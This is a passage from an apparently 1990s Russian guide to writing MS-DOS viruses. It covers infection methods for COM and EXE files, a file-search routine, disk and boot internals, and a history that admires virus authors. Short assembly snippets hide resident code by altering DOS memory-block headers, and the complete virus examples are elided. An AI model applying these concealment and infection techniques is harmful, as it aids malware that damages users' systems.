и загрузочных вирусов.
    Файловые вирусы бывают:
    - резидентные;
    - нерезидентные;
    - комбинированные.
    Резидентные вирусы  способны  оставлять  свой код в памяти
ПЭВМ резидентно  (  см.  2.2.6.4  )  после  завершения  работы
зараженной  программы.  Они,  как  правило,  перехватывают ряд
системных прерываний и постоянно ищут  цели  для  заражения  и
поражения   среди   программ,   с   которыми   эти  прерывания
взаимодействуют.
    Нерезидентные активизируются   только   в  момент  запуска
зараженной программы  и  ищут  другие  цели  для  заражения  и
поражения  по каким-то специфическим признакам,  например,  по
имени.  Во  время  работы  других,  не  зараженных   программ,
нерезидентные вирусы находятся в латентном (спящем) состоянии.
    Все ( насколько мне известно ) загрузочные вирусы являются
резидентными.

                   3.3. О названиях вирусов

    Вирусы получают   названия   разными  способами.  Наиболее
известные вирусы имеют,  как правило,  стихийно сложившиеся  в
программистской   среде   имена,   отражающие  их  особенности
проявления ( Time Bomb -  часовая  мина  ),  историю  и  место
обнаружения ( Jerusalem - израильский вирус ) и пр.
    Вместе с  тем  каждый  уважающий  себя  автор  антивирусов
прилагает к своему продукту каталог вирусов, подчас содержащий
новоизобретенные наименования.
    Широко известны  каталог  Д.Н.  Лозинского,  прилагаемый к
программе AIDSTEST и каталог Е.  Касперского,  одна из  ранних
версий которого опубликована в книге [4].  Прилагается каталог
вирусов ( весьма краткий ) и к антивирусному пакету SCAN/CLEAN
фирмы  McAffee.  В  этих  каталогах  имена  вирусам  даются по
внешним  признакам  (  текстовые  строки  внутри   вируса   ),
особенностям алгоритма, месту обнаружения, а иногда просто "от
балды", т.е. в традициях стихийного имяобразования.
    Оригинальную вирусную  топономику  разработал Н.  Безруков
[8].  Имена в его  каталоге  образуются  с  учетом  формальных
признаков  вируса  -  длины тела,  способа заражения и т.п.  и
выглядят приблизительно  так:  RCE-2885.  Но  в  связи  с  тем
фактом,  что набор признаков,  включая длину файла, для разных
вирусов может быть  одинаковым,  этот  подход  не  может  быть
признан удачным.  Не учитывается Н. Безруковым и наличие групп
вирусов,  написанных  одним  автором  с  использованием  общих
приемов программирования, так называемых семейств.
    Мы будем  использовать,  где  это  возможно,  наименования
вирусов, приведенные у Д.Н. Лозинского.
    Одной из  интересных  особенностей  имен  вирусов  в  этом
каталоге  является прямая зависимость между "качеством" вируса
и его именем.  Аккуратно написанные вирусы имеют больше шансов
получить  достойное наименование,  например то,  которое автор
вируса хотел бы сам ему присвоить,  поместив внутрь  текстовую
строку.  И  наоборот,  засунув  внутрь  вируса гордый копирайт
типа:
       +----------------------------------------------+
       | SupеrVirus - (C) Иванов Вася, г. Москва 1994 |
       +----------------------------------------------+
    ,и не приложив особых усилий к отладке алгоритма, Вы вряд-
ли можете   рассчитывать  на  наименование  SUPER  для  своего
"изделия".  Скорее   всего   Вам   придется   довольствоваться
каким-нибудь Vasia-1234, а то и вовсе безликим V-1234.

                     3.4. Файловые вирусы

    Как уже   указывалось   ранее,  средой  обитания  файловых
вирусов  являются  программы,  оформленные  в   виде   файлов,
например,   СОМ-   или   ЕХЕ-программы.  Акт  заражения  такой
программы вирусом заключается:
    1) во внедрении вирусного фрагмента внутрь тела "жертвы"
    2) и обеспечении условий,  при которых этот фрагмент начал
бы выполняться.
    Внедрение вирусного фрагмента в жертву  возможно  четырьмя
способами:
    - в конец файла-жертвы
                          +--------+
                          | Жертва |
                          +--------+
                          | Вирус  |
                          +--------+
    - в начало файла-жертвы
                          +--------+
                          | Вирус  |
                          +--------+
                          | Жертва |
                          +--------+

    - в середину файла-жертвы

                          +--------+
                          | Жертва |
                          +--------+
                          | Вирус  |
                          +--------+
                          | Жертва |
                          +--------+
    - распределенно.

                          +--------+
                          | Жертва |
                          +--------+
                          | Вирус  |
                          +--------+
                            . . .
                          | Жертва |
                          +--------+
                          | Вирус  |
                          +--------+
                          | Жертва |
                          +--------+

    Наиболее распространенным является первый способ внедрения
- в  конец  файла-жертвы.  Также   достаточно   прост   способ
внедрения вируса в начало жертвы. Он имеет ряд модификаций:

                    Здоровая
                    программа
                    +-------+   +-------+
                    |Часть 1|   | Вирус |
                    + - - - +   +-------+
                    |Часть 2|
                    +-------+

   1) Сохранение  2)  Сохранение 3) Модификация старого начала
      всей зара- "паразита"- жертвы в конце женной прог- отказ
      от  зараженной раммы вслед сохранения программы за телом
      ви- начала (перемещение) руса (оттес- жертвы
                            нение)                (замещение)

      +-------+            +-------+           +-------+
      | Вирус |            | Вирус |           | Вирус |
      +-------+            +-------+           +-------+
      |Часть 2|            |Часть 1|           |Часть 2|
      +- - - -+            + - - - +           +-------+
      |Часть 1|            |Часть 2|
      +-------+            +-------+

    Отметим, что  все  эти  модификации  с  успехом могут быть
реализованы в вирусе,  написанном на  языке  высокого  уровня,
например, на TURBO PASCAL.

       3.4.1. Строение некоторых команд микропроцессора

    Для адекватного     восприятия    дальнейшего    материала
совершенно   необходимо   знание   внутреннего   представления
некоторых команд микропроцессора 8086.
    Команда внутрисегментного безусловного  перехода  JMP  при
размещении  в оперативной памяти состоит из 3-х байтов и имеет
вид:

     E9h <Младший байт смещения>  <Старший байт смещения>

    Смещение отсчитывается от адреса следующей за JMP команды.
Например:

    Е9h 00h 00h             JMP METKA
    90h             METKA:  NOP

    Подобное же  строение  имеет   команда   внутрисегментного
вызова подпрограммы CALL:

     E8h <Младший байт смещения> <Старший байт смещения>

    Смещение также  отсчитывается от адреса следующей команды.
Напомним,  данная команда  помещает  в  стек  адрес  следующей
команды и выполняет переход по вычисляемому адресу.
    Команды обращения к ячейкам оперативной  памяти используют
смещение не от адреса следующей команды,  а от нуля.  Приведем
пример команды обращения к ячейке памяти со смещением 100h:

    A1h 00h 10h               MOV AX,[100h]

    Можно сказать,  что  команды   JMP   и   CALL   используют
относительные   адреса,   а   команды  обращения  к  памяти  -
абсолютные.

            3.4.2. Способы заражения СОМ-программ

    Существует несколько способов, которыми вирусный код может
быть  внедрен  в  тело СОМ-программы.  Внедряя свой код в тело
жертвы, вирус должен решить две проблемы:
    1) Сначала управление должен получить код вируса;
    2) После отработки вирусного кода обязана запуститься сама
зараженная программа.
    Напомним, файл СОМ-программы не содержит в начале признака
'MZ' или 'ZM' и сразу начинается с исполняемых  команд.  Длина
СОМ-файла не превышает 64 Кб.

                3.4.2.1. "Стандартный" способ

                           < ... >

           3.4.2.2. Реализация идеи "оттеснения"

                           < ... >

            3.4.2.3. Реализация идеи "перемещения"

                           < ... >

            3.4.3. Способы заражения ЕХЕ-программ

    Как отмечалось  ранее  (  см.  п.  2.2.6.1.  ),   строение
ЕХЕ-программы  заметно  отличается  от строения СОМ-программы.
Если файл СОМ-программы сразу начинается с исполняемых команд,
то  в  начале  ЕХЕ-файла  размещаются  заголовок  и RELOCATION
TABLE.  Заражение ЕХЕ-программ также возможно осуществить  как
записью  кода  вируса  в  начало,  так  и в конец и в середину
программы.

        3.4.3.1. Заражение записью в начало программы

                           < ... >

     3.4.3.2. "Стандартный" способ заражения ЕХЕ-программ

                           < ... >

        3.4.4. Резидентное оставление вируса в памяти

    В п.  2.2.6.4. мы рассмотрели пример программы, остающейся
в  памяти после завершения и печатающей имена всех запускаемых
программ.  Если заменить  фрагмент  печати  имен  на  фрагмент
заражения запускаемых программ,  получим прообраз резидентного
вируса.  Кстати,  резидентный  вирус  не  обязательно   должен
заражать именно запускаемые программы.  Он может перехватывать
функции открытия файлов, закрытия, поиска в каталогах и пр.
    Рассмотрим подробнее,  каким  именно  образом  вирус может
остаться в памяти после завершения зараженной программы.

    Во-первых, он может использовать для этих  целей прервание
27h или функцию 31h прерывания 21h, стандартно предназначенные
для   резидентного   завершения   программ.    Но    возникает
противоречие:   с   одной  стороны  вирус  должен  завершиться
резидентно,  с другой стороны он  должен  передать  управление
оригинальной программе. Предложим пару несложных "рецептов":
    1) Т.к.   правильно    написанная    программа    способна
завершиться  конечным  количеством  способов ( прерывание 20h,
функция 0 прерывания 21h или функция  4Сh  прерывания  21h  ),
вирус может установить свои процедуры обработки этих функций и
прерываний и спокойно передать управление  исходной программе,
будучи   уверенным,   что   по   ее  завершении  вновь  начнет
выполняться и сможет теперь уже завершиться резидентно.
    2) Вирус может сразу после запуска зараженной программы до
предела "ужаться"  в  памяти,  еще  раз  запустить  зараженную
программу  при  помощи  функции  4Вh  прерывания 21h ,  и лишь
потом, вновь получив управление, завершиться резидентно.
    К сожалению, "стандартно" оставленный в памяти вирус легко
обнаружить при помощи программ типа VTSR и удалить  из  памяти
при помощи программ типа RELEASE.

    Во-вторых, вирус  может  остаться  в резидентно,  напрямую
корректируя конфигурацию блоков памяти.  Дело в том, что перед
началом   каждого   блока   памяти  находится  его  заголовок,
занимающий 16 байт и содержащий следующую информацию:

            +--------+--------------+-----------+
            |Смещение|Длина в байтах| Содержимое|
            +--------+--------------+-----------+
            |   0    |      1       |Признак    |
            |        |              |последнего |
            |        |              |или непос- |
            |        |              |леднего    |
            |        |              |в цепочке  |
            |        |              |блоков     |
            +--------+--------------+-----------+
            |   1    |      2       |Код прог-  |
            |        |              |раммы-хозя-|
            |        |              |ина данного|
            |        |              |блока      |
            +--------+--------------+-----------+
            |   3    |      2       |Длина блока|
            |        |              |в 16-байт- |
            |        |              |никах      |
            +--------+--------------+-----------+
            |   5    |     11       |Использует-|
            |        |              |ся в MSDOS |
            |        |              |старших    |
            |        |              |версий     |
            +--------+--------------+-----------+

    Вирус может  уменьшить  размер  текущего  блока программы,
тогда  после  ее   завершения   операционной   системе   будет
возвращено  памяти  меньше,  чем  она  "давала"  программе при
запуске:

; Эта программа после своего завершения
; оставляет в конце оперативной памяти
; 1024 "бесхозных" байта.
;
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
ORG 100h
START:
      MOV AX,DS
      DEC AX
      MOV DS,AX
      SUB DS:[3],63 ; Уменьшаем длину блока !
      MOV AH,4Ch
      INT 21h
CSEG  ENDS
      END  START

    Вирус может   заменить   код   программы-владельца  блока.
Известно,  что  блоки,  принадлежащие  операционной   системе,
помечены кодом 8:

; Эта программа после своего завершения
; оставляет в середине памяти
; 1024 байта, якобы принадлежащих DOS
;
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
ORG 100h
START:
; Уменьшаем размер блока памяти до 1024
     MOV AH,4Ah
     MOV BX,64
     INT 21h
; Манипуляции с заголовком блока памяти
     MOV AX,DS
     DEC AX
     MOV DS,AX
     MOV WORD PTR DS:[1],8 ; Меняем код !
     MOV AH,4Ch
     INT 21h
CSEG ENDS
     END START

    И в  том  и  в  другом случае после завершения программы в
памяти компьютера остаются фрагменты, неизвестные операционной
системе.  Вирус  может  хранить  в них свой "агрессивный" код.
Программы типа VTSR не  могут  "увидеть"  вирус  в  памяти,  а
RELEASE  - удалить его.  Вирус может быть обнаружен только при
помощи просмотра всей цепочки блоков памяти  программами  типа
MAP или МЕМ.

    Наконец, вирус   может  хранить  свой  резидентный  код  в
изначально присутствующих в  DOS  незанятых  участках  памяти.
Так,  свободной  является  вторая  половина  области  векторов
прерываний, начиная с адреса 0:200h ( или, что тоже самое 10h:
100h  )  длиной  512  байт.  Если  вирус  написан  аккуратно и
компактно,  он вполне способен разместиться  в  этой  области.
Вирусы,  размещающие  свой  код  подобным образом,  могут быть
обнаружены  лишь  прямым  изучением  содержимого   оперативной
памяти.

         3.4.5. Поиск "жертв" нерезидентными вирусами

    Резидентные вирусы,  постоянно "дежуря" в памяти, заражают
активизирующиеся  программы.  Процент  заражения  программ  на
машине  этими вирусами тем выше,  чем интенсивней пользователь
работает  на  ПЭВМ,  чаще  запуская  разнообразные  программы.
Существует  класс вирусов,  активных не постоянно,  а только в
момент работы зараженной ранее программы.  Эти, нерезидентные,
вирусы  стараются  за  период  своей  активности  обнаружить и
заразить  как  можно  больше  жертв.  Таким  образом,  процент
заражения    программ    подобными    вирусами    определяется
особенностями алгоритма вирусов, способностью самостоятельного
поиска целей для заражения.
    Способность нерезидентных  вирусов   обнаруживать   жертвы
реализуется,  как  правило,  через функции 4h и 4Fh прерывания
21h.  Эти функции позволяют обнаруживать в  заданном  каталоге
или  на заданном устройстве файлы с именами,  соответствующими
заданному образцу.
    Поясним, о чем идет речь.  Как известно,  в DOS существует
возможность обращаться к группе файлов,  задав так  называемую
маску  имени.  При  задании маски используются обозначения:  ?
-любой символ, *-любая группа символов. Например:

*.*    - все файлы
*.СОМ  - все файлы с расширением .СОМ
?С.ЕХЕ - под  ?  понимается  любая ОДНА буква,  таким образом
         BC.EXE и  NC.EXE  удовлетворяют условию,  а TCC.EXE -
         нет.

    Функции 4h  и  4Fh  помещают  результат  своей  работы   в
область   передачи   данных  (DTA),  организованную  следующим
образом:

               +----------+---------------------+
               |Байты     |  Содержимое         |
               +----------+---------------------+
               |0   - 14h |  Зарезервировано    |
               |15h       |  Атрибут            |
               |16h - 17h |  Время и дата файла |
               |1Ah - 1Dh |  Размер файла       |
               |1Eh - 2Ah |  Имя файла          |
               +----------+---------------------+

    По умолчанию область DTA размещается в программе по адресу
DS:80h,  т.е.  там же,  где и параметры командной строки.  Для
того,  чтобы  программа  могла  одновременно  пользоваться   и
командной   строкой  и  функциями  поиска,  часто  применяется
функция 1Ah прерывания 21h,  предназначенная  для  перемещения
области DTA в другое место памяти.
    Приведем формат вызова функций поиска:

    AH:=4Eh       или          4Fh
    CX:=Атрибут файла
    DS:DX:= Адрес строки маски имени

    Атрибут файла  -   это   байт,   определяющий   внутренние
характеристики файла:

                     +-----+--------------------+
                     |  Бит|  Значение          |
                     +-----+--------------------+
                     |   0 |  Только для чтения |
                     |   1 |  Скрытый           |
                     |   2 |  Системный         |
                     |   3 |  Метка тома        |
                     |   4 |  Каталог           |
                     |   5 |  Архивный          |
                     +-----+--------------------+

    Если в байте атрибутов установить бит 4 в  1,  то  функции
поиска  будут  искать  каталоги  (  которые с точки зрения DOS
также являются файлами).  При  установленном  бите  1  функции
поиска  обнаружат скрытые файлы,  например в корневом каталоге
диска С:  файлы MSDOS.SYS и IO.SYS.  Для поиска обычных файлов
достаточно просто заказать нулевое значение байта атрибутов.
    Приведем пример программы, ищущей и отображающей на экране
имена всех файлов с расширением .СОМ в текущем каталоге:

; Эта программа ищет в текущем каталоге
; все файлы с расширением .СОМ и
; отображает их имена
;
CSEG   SEGMENT
       ASSUME CS:CSEG,DS:CSEG,SS:CSEG
       ORG    80H
; Область передачи данных по умолчанию
DTA    DB     15H DUP (0)
ATTRIB DB     0
TIMDAT DW     0
       DW     0
FSIZE  DD     0
FNAME  DB     0EH DUP (0)
       ORG    100H
; Начало программы
START:
; Ищем 1-й файл
       MOV    AH,4EH
       MOV    CX,0
       MOV    DX,OFFSET MASKA
       INT    21H
       JC     NET
POVTOR:
       MOV    SI,OFFSET FNAME
; Печатаем имя
PECHAT:
       LODSB
       CMP    AL,0
       JE     POISK
       INT    29H
       JMP    PECHAT
POISK:
; Переводим строку
       MOV    AL,13
       INT    29H
       MOV    AL,10
       INT    29H
; Ищем следующий файл
       MOV    AH,4FH
       MOV    CX,0
       MOV    DX,OFFSET MASKA
       INT    21H
       JC     NET
       JMP    POVTOR
; Файлов больше нет, конец
NET:
       MOV    AH,4CH
       INT    21H
; Маска для поиска
MASKA  DB     '*.COM',0
;
CSEG   ENDS

    Подобным образом, как правило, устроены простейшие вирусы,
с  написания  которых  начинают   свою   карьеру   большинство
технокрыс.     Е.    Касперский    называет    такие    вирусы
"студенческими",  а  Д.  Лозинский  присваивает  им  в   своей
классификации  общее безликое имя Search.  Справедливости ради
следует  отметить,  что  ряд  подобных  вирусов   имеет   таки
собственные   имена.  Например,  широко  известны  примитивные
вирусы серии Khizhnyak.
    "Студенческие" вирусы,  скорее всего,  не способны вызвать
"эпидемию" и даже просто заразить большое  число  программ  на
одном компьютере, ибо "работают" только в одном каталоге.
    Поэтому руководящей и  направляющей  идеей  при  написании
нерезидентных  вирусов является перенесение поиска из текущего
каталога в другие области диска.
    Например, вирусы  серии  Vienna ищут цели для заражения не
только в текущем каталоге,  но и во всех каталогах, сведения о
которых хранятся в строке пути файла AUTOEXEC.BAT типа:

     SET PATH=C:\;C:\DOS;C:\UTILS;C:\NORTON;C:\LEXICON

    Cуществуют вирусы,  которые  выполняют  в  процессе поиска
частичный и даже полный обход  дерева  каталогов  на  дисковом
устройстве.  Но алгоритмы такого обхода весьма сложны,  к тому
же выполняются они достаточно долго.

            3.4.6. Пример резидентного СОМ-вируса

                           < ... >

           3.4.7. Пример нерезидентного ЕХЕ-вируса

                           < ... >

                   3.5. Загрузочные вирусы

    Как отмечалось   ранее,   существуют    вирусы,    которые
паратизируют не на программах, оформленных в виде файлов, а на
специальных программах загрузки операционной  системы, которые
имеются  на  любой  дискете  и  любом  винчестере.  Эти вирусы
называются загрузочными или бутовыми (  от  английского  слова
BOOT - загрузка ).

            3.5.1. Структура дискового устройства

    Все дисковые  устройства  имеют единую организацию.  Грубо
дисковое устройство  можно  представить  себе  в  виде  пакета
круглых пластин, насаженных на одну общую ось.
    На поверхность пластин ( обычно с обеих сторон  )  нанесен
магнитный слой, который сохраняет информацию, записываемую или
считываемую при  помощи  магнитных  головок-"звукоснимателей",
количество  которых равно количеству рабочих поверхностей.  На
винчестерах,  как  правило,  присутствуют  несколько   рабочих
поверхностей, на дискетах только две: 0-ая и 1-я.
    Рабочая поверхность    содержит    ряд     концентрических
окружностей  -  дорожек  ( треков ).  Самая ближняя к внешнему
краю диска дорожка имеет номер 0,  следующая номер 1 и т.п. На
дискетах  количество дорожек бывает 40 или 80,  на винчестерах
типичное количество - несколько сотен или  тысяч. Совокупность
всех  дорожек,  равноудаленных  от оси и расположенных на всех
рабочих поверхностях, носит название цилиндра.
    Каждая магнитная   дорожка   разбита   на   ряд  секторов,
нумеруемых от 1  и  до  максимального  значения,  которое  для
дискет  составляет 9,  15 или 18,  а для винчестеров достигает
иногда несколько десятков. В один сектор возможно записать 512
байт информации.
    Приведем стандартные  характеристики  для   разных   типов
дискет:
   +-------------+---------+---------+-----------+-----------+
   | Тип дискеты |DS/DD 5" |DS/HD 5" |DS/DD 3.5" |DS/HD 3.5" |
   +-------------+---------+---------+-----------+-----------+
   | Головок     |   2     |   2     |   2       |     2     |
   | Дорожек     |  40     |  80     |  40       |    80     |
   | Секторов    |   9     |   9     |  15       |    18     |
   | Объем       |360 Кб   |1.2 Мб   | 720 Кб    |  1.44 Мб  |
   +-------------+---------+---------+-----------+-----------+

    Любой сектор  можно  однозначно  определить,  задав тройку
{головка,дорожка,сектор}.  Например,  самый  1-й   сектор   на
дисковом  устройстве  имеет  координаты  0/0/1.  Именно в этом
секторе и хранится программа загрузки операционной системы.

    3.5.2. Низкоуровневая работа с дисковыми устройствами

    Прямая работа  с  дисковым  устройством  через  контроллер
дисковода  или винчестера очень сложна.  Поэтому в ПЗУ каждого
PC-совместимого  компьютера  записаны  стандартные  процедуры,
обеспечивающие доступ к дисковым устройствам.  99% программ, в
том числе и сама  операционная  система  DOS,  пользуются  при
обращении к дискам именно этими процедурами.
    Доступ к дисковым  процедурам  возможен  через  прерывание
13h:

    0 -  Привести дисковую систему в исходное состояние Вызов:
              AH:=0
              DL:= код дисковода

    2 - Читать сектора
        Вызов:
              AH:= 2
              AL:= число секторов ( не больше 8 ) CH:= дорожка
              (  цилиндр,  трек  )  CL:= сектор DH:= сторона (
              головка ) DL:= код диска
                   ( 0,1 - дискеты,  80h и т.д. - винчестеры )
              ES:BX - адрес буфера для данных

    3 - Писать сектора
        Вызов:
              AH:= 3
              AL:= число секторов ( не больше 8 ) CH:= дорожка
              ( цилиндр,  трек ) CL:= сектор  DH:=  сторона  (
              головка ) DL:= код диска
                   ( 0,1 - дискеты,  80h и т.д. - винчестеры )
              ES:BX - адрес буфера для данных

    Для винчестеров  старшие 2 бита номера цилиндра помещаются
в биты 6 и 7 регистра CL.
    При неудачной  операции  устанавливается  в  1  бит  CARRY
регистра флагов.

         3.5.3. Описание процесса загрузки компьютера

    Для понимания  принципа   действия   загрузочных   вирусов
необходимо  хотя  бы  в общих чертах представлять себе процесс
загрузки компьютера.
    В момент включения питания начинает выполняться записанная
в ПЗУ  программа  POST.  В  ее  функции  входит  распознавание
подключенного   оборудования,   тестирование   его,  начальная
инициализация векторов прерываний ( в т.ч.  и 13h  )  и  поиск
дискового    устройства,    с   которого   возможна   загрузка
операционной системы.
    Сначала определятся  наличие  дискеты  в  дисководе  A:  и
попытка загрузки с нее при успешном обнаружении.  Если дискета
отсутствует,  то производится попытка обнаружить и загрузиться
с  винчестера.  В  случае  неудачи  управление  передается  на
определенный  адрес в ПЗУ.  Оригинальные машины IBM PC выпуска
середины 80-х годов содержали по  этому  адресу  интерпретатор
языка  BASIC,  который  выполнял роль суррогатной операционной
системы.  В современных BIOS на этом месте записана процедура,
которая просто выводит сообщение ( крупными буквами ):

                         NO ROM BASIC
                         SYSTEM HALTED

    Но, допустим,  что  программа  POST  нашла  устройство,  с
которого  потенциально возможна загрузка.  Она считывает ( при
помощи функции 2 прерывания 13h ) содержимое сектора  0/0/1  в
оперативную  память  по  абсолютному адресу 0:7С00h и передает
туда управление.

    1) Если загрузка происходила с дискеты. Программа загрузки
операционной системы, записанная в сектор 0/0/1 дискеты, сразу
пытается найти на  этой  дискете  файлы  операционной  системы
MSDOS.SYS и IO.SYS.  Если они обнаружены, то из них начинается
загрузка и запуск MS DOS.  Если дискета не системная,  т.е. не
хранит  файлов  операционной  системы,  то  программа загрузки
выдает на экран:

                Non-System disk or disk error.
                Replace and press any key.

    и ждет,  пока  Вы  не  вынете  дискету  из  дисковода и не
нажмете  какую-нибудь  клавишу,  что  вызовет  новую   попытку
перезагрузки ( новый запуск программы POST ).
    Кроме программы загрузки в BOOT-секторе  дискеты  хранится
таблица параметров дискеты,  которая необходима для правильной
настройки  контроллера  дисководов.  Мы  приведем  часть  этой
таблицы:

 +---------------------+------------------------------------+
 |                     |         Д и с к е т а              |
 |  Описание поля      +--------+--------+---------+--------+
 |                     |DS/DD 5"|DS/HD 5"|DS/DD 3" |DS/HD 3"|
 +---------------------+--------+--------+---------+--------+
 |Байтов на сектор     |  512   |  512   |  512    |  512   |
 |Секторов на кластер  |    2   |    1   |    2    |    1   |
 |Резервных секторов   |    1   |    1   |    1    |    1   |
 |Копий FAT            |    2   |    2   |    2    |    2   |
 |Входов в корн. катал.|  112   |  224   |  112    |  224   |
 |Всего секторов       |  720   | 2400   | 1440    | 2880   |
 |Код типа дискеты     |   FDh  |   F9h  |   F9h   |   F0h  |
 |Секторов в FAT       |    2   |    7   |    3    |    9   |
 |Секторов на трек     |    9   |   15   |    9    |   18   |
 |Сторон               |    2   |    2   |    2    |    2   |
 |Скрытых секторов     |    0   |    0   |    0    |    0   |
 +---------------------+--------+--------+---------+--------+

    2) Если загрузка происходила с винчестера. Пространство на
винчестере может быть разбито на несколько логических разделов
( С:, D:, E: и т.д. ). Каждый раздел может быть организован по
правилам разных операционных систем, например MS DOS, UNIX, OS
/2 и т.п. Поэтому загрузчик операционной системы хранится не в
стартовом секторе винчестера,  а в стартовом секторе того  или
иного раздела.  Структура и принцип действия загрузчика MS DOS
полностью аналогичны тем,  которые описаны  ранее  для  случая
загрузки с дискеты.
    Но программа POST начинает загрузку с чтения сектора 0/0/1
всего  винчестера,  а  не  отдельных  его разделов.  Поэтому в
стартовом секторе винчестера размещается  таблица  разделов  и
маленькая программа - внесистемный загрузчик. Содержимое этого
сектора винчестера носит наименование MBR ( MASTER BOOT RECORD
- главная загрузочная запись ).
    Итак, внесистемный загрузчик считывается программой POST в
память по адресу 0:7C00h и, получив управление:
    - "перетаскивает" себя в другую область памяти;
    - определяет,   с   какого   логического   раздела   будет
производиться загрузка операционной системы  и  местоположение
этого загрузчика;
    - считывает сектор системного загрузчика  в освободившуюся
область 0:7C00h;
    - передает туда управление.
    Таким образом,  загрузка  с  винчестера  происходит  в два
этапа.

          3.5.4. Принципы работы загрузочных вирусов

                           < ... >

              3.5.5. Пример загрузочного вируса

                           < ... >

                  4. Философия вирусописания

    До настоящего  момента  мы  обсуждали  чисто   технические
вопросы написания вирусов.  В данном разделе мы коснемся также
ряда моральных и этических аспектов,  возникающих  в  процессе
создания новых вирусных программ.

                     4.1. Немного истории

    История компьютерных  вирусов  неоднократно излагалась уже
разными  авторами.  Компактный,  но  достаточно  информативный
очерк истории можно обнаружить, например, в книге Н. Безрукова
[8].
    Идея создания  самовоспроизводящихся программ и механизмов
будоражила  умы  на  протяжении  всех  последних   десятилетий
развития    нашей    технологической   цивилизации.   Проблеме
посвящались  не  только  научные  труды,  но  и   произведения
художественной литературы ( преимущественно НФ ).
    Н. Безруков приводит в  своей  книге  [8]  ряд  ссылок  на
зарубежные литературные произведения. Обсуждался данный вопрос
и  в  отечественной   художественной   литературе.   Например,
известный  фантаст  и философ Д.  Биленкин еще в середине 80-х
годов написал  рассказ  о  вирусном  заболевании  компьютерных
систем  находящегося  в  длительном  путешествии  межзвездного
корабля [11].
    70-е годы   и   начало   80-х  характеризуются  единичными
попытками  написания  самовоспроизводящихся   программ.   Этот
исторический  этап  завершился в середине 80-х годов в связи с
началом широкого распространения персональных ЭВМ и написанием
первых вирусных программ.
    По-видимому, ликующий вопль вытерпевшего  родовые  муки  и
успешно  разрешившегося  от  бремени  вирусописателя прозвучал
впервые в 1985 или 1986 году.  Он был примитивен  и  неказист,
этот первый вирус. Никто не знает имени его отца-программиста.
Но этого человека можно по  праву  назвать  гением.  Ибо,  как
справедливо отмечал В.  В.  Маяковский , великий математик тот
человек, кто первым вывел незамысловатое равенство 1+1=2, даже
если  он  пришел  к  этому выводу,  складывая два окурка.  Все
последователи,  даже если они складывают неизмеримо большие  и
важнейшие вещи,  например,  паровозы,  не великие математики и
даже не математики вообще.  С этой точки зрения  автор  первой
вирусной  программы  по  праву  может  носить  звание великого
программиста.
    В 1986-87    гг.    компьютерные    вирусы   начали   свое
величественное шествие.  Среди первых вирусов следует отметить
Лехайский вирус ( заражавший только COMMAND.COM ), Израильский
вирус (Jerusalem-1808) и загрузочный вирус Stoned (Marijuana).
Это  было  то  славное  время,  когда  вирусов всего-то было с
десяток,  но обнаружить их можно было  практически  на  каждом
компьютере.  Именно  тогда  вирус  приобрел в глазах обывателя
имидж грозной компьютерной инфекции, сжигающей экраны дисплеев
и   ломающей   головки   дисководов,  возникающей  ниоткуда  и
принципиально   неизлечимой.   Справедливости   ради   следует
отметить,   что   подобный   взгляд   на  компьютерные  вирусы
сформировался не вследствие действительного наличия  у вирусов
указанных   свойств,  но  в  связи  с  крайне  низким  уровнем
квалификации не только обычных пользователей, но и большинства
программистов.
    В 1988 г.  аспирант Корнелльского университета  Р.  Моррис
(младший)  написал  и  запустил  в  компьютерную сеть Internet
вирус,  заразивший (по разным оценкам) несколько тысяч  машин,
расположенных не только на территории США,  но и в Австралии и
Канаде.  Вирус просуществовал в активном состоянии всего-то не
более   двух   суток,  но  породил  мощную  волну  интереса  к
самовоспроизводящемуся программному  обеспечению.  Закончилось
безоблачное детство вирусов, начиналась боевая зрелость.
    Этот этап   развития   компьютерной    флоры    и    фауны
характеризуется    наметившимся    активным   противодействием
процессу  со  стороны  программного  обеспечения,   созданного
специально   для   борьбы   с   вирусами.  Количество  вирусов
стремительно росло,  но большинство гибло в неравной борьбе  с
SCAN-ами и AIDSTEST-ами.  Выживали более хитрые,  а, значит, и
более сложные.  В эти  годы  родились  идеи  и  алгоритмы,  на
которых основаны почти все современные вирусы.
    На переднем  крае  борьбы  за  право  вирусов  на  свободу
размножения     тогда    встали    болгарские    программисты.
Сформировался также вирусный центр в юго-воточной Азии.
    Тщательно прокомментированный   исходный   текст  простого
вируса Vienna-648 стал настоящим учебным пособием  для  многих
начинающих вирусописателей.
    Именно в  эти  годы  был  создан  вирус   Янки   Дудль   (
Музыкальный,  Five  o'clock,  M2C-2885  ),  который  благодаря
продуманности  алгоритма  и  аккуратности  реализации   широко
распространился  по всему миру и дожил до наших дней не только
как экспонат в коллекции вирусолога.
    1991 год.  Фирма  Micrsoft  в  течение  нескольких  недель
распространяла свой программный продукт,  используя  для  этой
цели дискеты, зараженные загрузочным вирусом Micheleangelo ( в
каталоге Д.Н.  Лозинского он известен под именем March-6 ).  С
программистской  точки  зрения  вирус  не  представлял  ничего
особенного  [13],  следует  отметить  лишь  вызванную   фактом
заражения истерику в средствах массовой информации США.
    В этом   же   году    появился    и    настоящий    шедевр
программирования  - вирус Dir-1024 ( Driver-1024 ).  В течение
достаточно короткого времени он распространился по всему миру,
вызвав  своего  рода пандемию.  Основным фактором успеха стала
оригинальнейшая концепция вируса  -  он  паразитировал  не  на
прикладных  программах  или  программах  загрузки,  а на самой
операционной системе !
    Вирус Dir-1024   явился  перевальной  вершиной  творчества
программистов-вирусописателей.  С  этого  момента  наблюдается
закат   истории   компьютерных   вирусов.   Наступила  трудная
старость.
    Связано это   было  не  только  с  успешной  деятельностью
авторов  антивирусного  программного  обеспечения,  но   и   с
наметившимся  закатом  истории  самой  операционной системы MS
DOS.
    В последующие  годы ничего особенного не произошло,  кроме
смещения центра распространения вируов в страны СНГ. Настоящий
этап характеризуется:
    - активной  деятельностью  на  фронте   вирусописательства
отечественных DOS-программистов,  в то время, когда лидирующее
положение во всем мире на РС занимает Windows;
    - рождением   большого  количества  простых  вирусов,  чья
способность  к  распространению  с   учетом   мощной   системы
противодействия  со  стороны антивирусных программ и в связи с
возросшей подготовкой ( не буду  говорить  -  квалификацией  )
пользователей оставляет желать лучшего;
    - отсутствием новых программных идей,  способных  вдохнуть
новую  жизнь  в  "великое  дело борьбы за свободное развитие и
социальный прогресс" вирусов.

                4.2. Кто пишет вирусы и зачем

    Усилиями некоторых авторов компьютерных  книг  и  журналов
сформирован весьма неприглядный имидж авторов вирусов.

